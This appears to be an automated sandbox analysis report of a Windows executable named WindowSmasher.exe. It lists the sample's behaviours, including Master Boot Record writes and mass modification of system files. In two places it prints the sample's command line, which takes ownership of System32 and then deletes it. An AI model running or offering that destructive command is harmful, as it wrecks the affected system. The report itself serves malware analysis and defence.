Analysis Overview
SHA256
740132589dc9d15750162db9ac327007d717e186b6c83442af0282b3bbb08105
Threat Level: Likely malicious
The file WindowSmasher.exe was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Manipulates Digital Signatures
Drops file in Drivers directory
Checks computer location settings
Modifies file permissions
Writes to the Master Boot Record (MBR)
Drops file in System32 directory
Unsigned PE
Enumerates physical storage devices
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of SendNotifyMessage
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-05-26 11:09
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 11:09
Reported
2024-05-26 11:11
Platform
win10-20240404-en
Max time kernel
133s
Max time network
136s
Command Line
Signatures
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\wfplwfs.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\gm.dls | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\gmreadme.txt | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\fwpkclnt.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\ndiscap.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\NdisImPlatform.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
Manipulates Digital Signatures
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\wintrust.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\autofmt.exe | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\dcomcnfg.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\srcore.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\SensorsCpl.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\uk-UA\webcheck.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\AppCapture.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\DWrite.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\mcicda.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\schedsvc.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\tapi32.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\InputSwitch.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\samlib.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\wsmplpxy.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\d3d8thk.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\sti.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\Windows.UI.Xaml.Controls.Private.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\Taskmgr.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\reagentc.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\cemapi.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\provcore.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\tracert.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\es-ES\iasrad.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\es-ES\wextract.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\SensorsApi.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\wlidcli.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\Windows.StateRepositoryBroker.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\WINDOW~1\v1.0\Modules\NetQos\MSFT_NetQosPolicy.Types.ps1xml | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\esrb.rs.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\bcrypt.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\MsSpellCheckingFacility.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\nshhttp.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\msdadiag.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\OskSupport.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\SPEECH~1\Common\en-US\VES-Disambiguation.0409.grxml | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\uk-UA\appmgmts.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\uk-UA\WebcamUi.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\Windows.Gaming.Preview.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\F12\uk-UA\F12Platform2.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\loghours.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\pautoenr.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\nlmsprep.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\prevhost.exe | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\bdaplgin.ax | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\dinput8.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\msg711.acm.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\sxstrace.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\mssitlb.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\MSVPXENC.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\uxtheme.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\es-ES\SMBHelperClass.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\cmstplua.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\ESENT.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\KBDHE.DLL | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\KBDMLT48.DLL | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\wbem\IMAPIv2-FileSystemSupport.mof | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\comdlg32.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\Dism\DmiProvider.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\DOWNLE~1\API-MS-Win-core-localization-obsolete-l1-2-0.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\DOWNLE~1\api-ms-win-service-management-l2-1-0.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\AuthBrokerUI.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\netjoin.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\es-ES\replace.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\netbtugc.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\PRINTI~1\es-ES\prnport.vbs | C:\Windows\SysWOW64\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Calculator.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 204 wrote to memory of 1136 | N/A | C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 204 wrote to memory of 1136 | N/A | C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 204 wrote to memory of 1136 | N/A | C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 1136 wrote to memory of 2248 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\takeown.exe |
| PID 1136 wrote to memory of 2248 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\takeown.exe |
| PID 1136 wrote to memory of 2248 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\takeown.exe |
| PID 1136 wrote to memory of 1728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\icacls.exe |
| PID 1136 wrote to memory of 1728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\icacls.exe |
| PID 1136 wrote to memory of 1728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\icacls.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe
"C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /F C:\Windows\System32\* /A & icacls C:\Windows\System32 /grant administrators:F /T & RD /S /Q C:\Windows\System32
C:\Windows\SysWOW64\takeown.exe
takeown /F C:\Windows\System32\* /A
C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /grant administrators:F /T
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Calculator.exe
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-26 11:09
Reported
2024-05-26 11:11
Platform
win10v2004-20240508-en
Max time kernel
115s
Max time network
107s
Command Line
Signatures
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\wfplwfs.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\gm.dls | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\gmreadme.txt | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\afunix.sys | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\ndiscap.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\drivers\en-US\NdisImPlatform.sys.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
Manipulates Digital Signatures
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\wintrust.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\DriverStore\en-US\wvmgid.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\es-ES\wpdcomp.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\cmlua.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\es-ES\TtlsAuth.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\es-ES\wecsvc.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\WWAHost.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\Bthprops\@BthpropsNotificationLogo.png | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\explorer.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\FileRepository\ehstortcgdrv.inf_amd64_5cb0c23f45dac01c\EhStorTcgDrv.sys | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\ja-JP\BasicRender.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\appmgr.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\Configuration\Registration\MSFT_FileDirectoryConfiguration\MSFT_FileDirectoryConfiguration.Registration.mof | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\msfeedsbs.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\WinMetadata\Windows.System.winmd | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\it-IT\net44amd.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\uk-UA\c_diskdrive.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\jscript.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\es-ES\msux64w10.INF_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\es-ES\uiccspb.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\FileRepository\netl260a.inf_amd64_783312763f8749c7\l260x64.sys | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\sxproxy.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\comsvcs.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\da-DK\comctl32.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\devicengccredprov.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\es-ES\FusionV2.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\fr-FR\eappgnui.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\NetworkTransition\MSFT_NetNatTransitionConfiguration.format.ps1xml | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\en-US\avc.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\en-US\uaspstor.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\FileRepository\MDMIRM~1.INF\mdmirmdm.inf | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\fr-FR\usbcir.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ComputerDefaults.exe | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\iepeers.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\iertutil.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\RemoveDeviceContextHandler.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\F12\uk-UA\IEChooser.exe.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ucrtbase.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\PSDesiredStateConfiguration\DSCResources\MSFT_ArchiveResource\ja-JP\ArchiveProvider.psd1 | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\en-US\comexp.msc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\mycomput.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\rastapi.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\spfileq.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\it-IT\webcheck.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\wbem\msfeeds.mof | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\BluetoothApis.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\es-ES\netr28x.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\ja-JP\whvcrash.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\F12\F12Platform2.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\Dism\it-IT\TransmogProvider.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\ja-JP\c_media.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\ja-JP\objsel.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\NetSecurity\en\Microsoft.Windows.Firewall.Commands.Resources.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\winrm\0C0A\winrm.ini | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\mpr.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\notepad.exe | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\pl-PL\comctl32.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\sqlwoa.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\msdrm.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\msvcr120_clr0400.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\uk-UA\PeerDist.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Provisioning\wiminterop.dll | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\de-DE\DevDispItemProvider.dll.mui | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\es-ES\c_netdriver.inf_loc | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\System32\DriverStore\FileRepository\netrtwlane.inf_amd64_20caba88bd7f0bb3\netrtwlane.inf | C:\Windows\SysWOW64\cmd.exe | N/A |
Enumerates physical storage devices
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\takeown.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe
"C:\Users\Admin\AppData\Local\Temp\WindowSmasher.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /F C:\Windows\System32\* /A & icacls C:\Windows\System32 /grant administrators:F /T & RD /S /Q C:\Windows\System32
C:\Windows\SysWOW64\takeown.exe
takeown /F C:\Windows\System32\* /A
C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /grant administrators:F /T
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0x78,0x128,0x7ff85a8d46f8,0x7ff85a8d4708,0x7ff85a8d4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2956 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
